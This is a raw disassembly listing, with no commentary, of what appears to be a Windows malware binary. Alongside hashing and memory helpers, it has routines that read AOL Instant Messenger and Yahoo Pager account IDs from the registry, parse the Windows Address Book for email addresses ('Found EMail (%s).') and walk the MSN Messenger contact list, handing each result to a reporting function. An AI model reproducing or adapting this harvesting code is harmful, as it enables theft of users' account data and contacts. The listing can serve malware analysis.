		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_435A60
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_434DA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435950	proc near		; CODE XREF: sub_434D10+14p
					; sub_434D10+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_435997
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43596A:				; CODE XREF: sub_435950+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43596A
		pop	esi


loc_435997:				; CODE XREF: sub_435950+7j
		pop	edi
		retn
sub_435950	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4359C0	proc near		; CODE XREF: sub_434DA0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_435A0A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4359DD:				; CODE XREF: sub_4359C0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4359DD
		pop	edi
		pop	esi


loc_435A0A:				; CODE XREF: sub_4359C0+7j
		pop	ebp
		retn
sub_4359C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A30	proc near		; CODE XREF: sub_434C30+4Ep
					; sub_434C30+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_435A4C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_435A43:				; CODE XREF: sub_435A30+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_435A43


loc_435A4C:				; CODE XREF: sub_435A30+7j
		pop	esi
		retn
sub_435A30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A60	proc near		; CODE XREF: sub_434D10+60p
					; sub_434DA0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_435A8E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_435A8E:				; CODE XREF: sub_435A60+6j
		retn
sub_435A60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435AA0	proc near		; CODE XREF: sub_401C21j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_435AA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435B90:				; CODE XREF: ___:loc_401F3Cj
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43D116
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436148
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	1
		push	eax
		call	sub_4016B8
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 51172C1Dh, 4C48300h,	0B9F88Bh, 33000002h, 0E43D89C0h
		dd 0F3005103h, 779CBEABh, 4E8B0044h, 4C8D51FCh,	2DE85024h
		dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
		dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
		dd 0FF50FFFCh, 4C483D7h, 1FEAE850h, 83907781h, 0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004445h, 0B10E890h, 0B9001Ch, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0E8BF0000h, 0F3005103h
		dd 3E4A1ABh, 4C8D0051h,	948D1824h, 6E424h, 0C75100h, 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D3868h
		dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D808568h, 0BB39E800h, 0C483FFFCh, 0E8006A1Ch
		dd 24DA2D8h, 81168B90h,	1FAh, 0B5850F80h, 0A0000001h, 448F40h
		dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h
		dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h
		dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h
		dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh
		dd 51000001h, 44C75250h, 4424h,	0E8900000h, 248A25Ch, 1424448Bh
		dd 840FC085h, 13Ch, 0C085FF33h,	24247C89h, 12E860Fh, 4C8D0000h
		dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h
		dd 80000003h, 402444C7h, 800h, 49A217E8h, 0C0859002h, 0E9850Fh
		dd 4E8B0000h, 24948D04h, 0EE4h,	84685251h, 55004446h, 20244489h
		dd 1C09A1E8h, 0B99000h,	33000002h, 24BC8DC0h, 6F4h, 0F310C483h
		dd 100B9ABh, 0E8BF0000h, 0F3005103h, 24448DABh,	19685010h
		dd 6A000200h, 3685500h,	90800000h, 50A38BE8h, 8468B02h
		dd 18244C8Dh, 0E424948Dh, 51000006h, 14244C8Bh,	6A006A52h
		dd 0FF515000h, 74C085D3h, 24548B0Bh, 0E8905210h, 24DA190h
		dd 8D08568Bh, 8D182444h, 6E4248Ch, 8B500000h, 51142444h
		dd 6A006Ah, 0D3FF5052h,	3C75C085h, 8BFC568Bh, 16F424BCh
		dd 8C8D0000h, 6E424h, 68525100h, 444D38h, 0E8694F8Dh, 0FFFCB62Dh
		dd 938F8Ah, 8A500000h, 9487h, 68515000h, 4D8085h, 0FCB98EE8h
		dd 1CC483FFh, 1024548Bh, 29E89052h, 8B024DA1h, 8B24247Ch
		dd 47142444h, 7C89F83Bh, 820F2424h, 0FFFFFED2h,	4C244C8Dh
		dd 0EC2484C6h, 16h, 0FCB329E8h,	10C683FFh, 79ECFE81h, 8C0F0044h
		dd 0FFFFFD2Ah, 17642D8Bh, 448D0051h, 68501C24h,	20019h
		dd 7868006Ah, 6800447Bh, 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 448A34h, 85D3FF50h, 0BE850FC0h
		dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B6C6800h
		dd 0F08B0044h, 8A246851h, 90560044h, 1C0829E8h,	4E746800h
		dd 90560044h, 80907FE8h, 83F88B77h, 0FF851CC4h,	8D577574h
		dd 802494h, 646A0000h, 0AC07E852h, 83907780h, 0C0850CC4h
		dd 448D5374h, 0C687C24h, 5000448Ah, 811C9FE8h, 0C4839077h
		dd 75C08508h, 24948B3Ch, 16F4h,	7C244C8Dh, 89F06851h, 4A8D0044h
		dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h,	94h, 93908Ah
		dd 52510000h, 4D808568h, 0B855E800h, 0C483FFFCh, 0E8905718h
		dd 7780AAA5h, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh
		dd 24448B04h, 0E890501Ch, 24D9FD8h, 1C244C8Dh, 182444C7h
		dd 80h,	196851h, 6A0002h, 4489C868h, 26800h, 0D5FF8000h
		dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h,	6A006A50h
		dd 8A346800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
		dd 90E80000h, 90777F63h, 0E824948Dh, 68000002h,	4489C0h
		dd 6852F08Bh, 4489B0h, 1BE89056h, 68001C07h, 444E74h, 71E89056h
		dd 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
		dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44899468h
		dd 91E85100h, 9077811Bh, 8508C483h, 8B3575C0h, 16F4249Ch
		dd 548D0000h, 68527C24h, 448978h, 0E8694B8Dh, 0FFFCB3EDh
		dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8085h, 0FCB74EE8h
		dd 18C483FFh, 9EE89057h, 837780A9h, 0F68504C4h,	90560A74h
		dd 7F60FAE8h, 4C48377h,	1C24548Bh, 0D1E89052h, 8D024D9Eh
		dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h
		dd 184h
; ---------------------------------------------------------------------------


loc_436148:				; CODE XREF: ___:00435BD1j
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4362CC
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 29401D0h
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_448910
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28F0000h
		test	eax, eax
		jz	short loc_4361D2
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 2910000h
		jmp	loc_4362CC
; ---------------------------------------------------------------------------


loc_4361D2:				; CODE XREF: ___:004361C0j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_511740
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_448904
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		call	near ptr 29401D0h
		nop
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28F0000h
		test	eax, eax
		jz	short loc_436289
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_4362CC
; ---------------------------------------------------------------------------


loc_436289:				; CODE XREF: ___:0043627Ej
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_4362CC:				; CODE XREF: ___:0043615Aj
					; ___:0043617Ej ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4364D0	proc near		; CODE XREF: sub_4016FEj

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4364D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_4364D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436570:				; CODE XREF: ___:loc_401FF5j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017EE
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43680E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 29401D0h
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43680E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_448F40
		push	eax
		nop
		call	near ptr 28F0000h
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 2910000h
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		call	near ptr 286040Bh
		nop
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2730000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_436649
		push	edi
		call	near ptr 2840881h
		nop
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436649:				; CODE XREF: ___:00436631j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		call	near ptr 273077Bh
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_436679
		mov	esi, dword_5118E0
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436679:				; CODE XREF: ___:0043665Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_436718
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4366BB:				; CODE XREF: ___:0043670Ej
		xor	eax, eax
		mov	ecx, edi


loc_4366BF:				; CODE XREF: ___:004366CFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4366BF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4366BB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_436718:				; CODE XREF: ___:004366A7j
		push	edi
		mov	edi, dword_5118E0
		call	edi
		push	esi
		call	near ptr 27309DAh
		nop
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		call	near ptr 29401D0h
		nop
		test	eax, eax
		jnz	loc_43680E
		mov	ebx, off_511C00
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_436767:				; CODE XREF: ___:004367FEj
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_448A50
		push	ecx
		call	ebx ; sub_5F67AE
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		call	near ptr 28F0000h
		nop
		test	eax, eax
		jnz	short loc_436803
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_448A44
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		push	64h
		nop
		call	near ptr 2840000h
		jmp	loc_436767
; ---------------------------------------------------------------------------


loc_436803:				; CODE XREF: ___:004367C3j
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 2910000h
		nop


loc_43680E:				; CODE XREF: ___:00436594j
					; ___:004365C4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368D0	proc near		; CODE XREF: sub_401E65j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4368D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_40168B
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_4368D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_40168B
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4369E0	proc near		; CODE XREF: sub_401E6Aj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4369E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436EB7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_444600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017EE
		mov	edi, dword_511764
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017EE
		mov	ebp, dword_51172C
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436B0C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B93+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_436B0C:				; CODE XREF: sub_4369E0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2910000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436BF4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B87+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
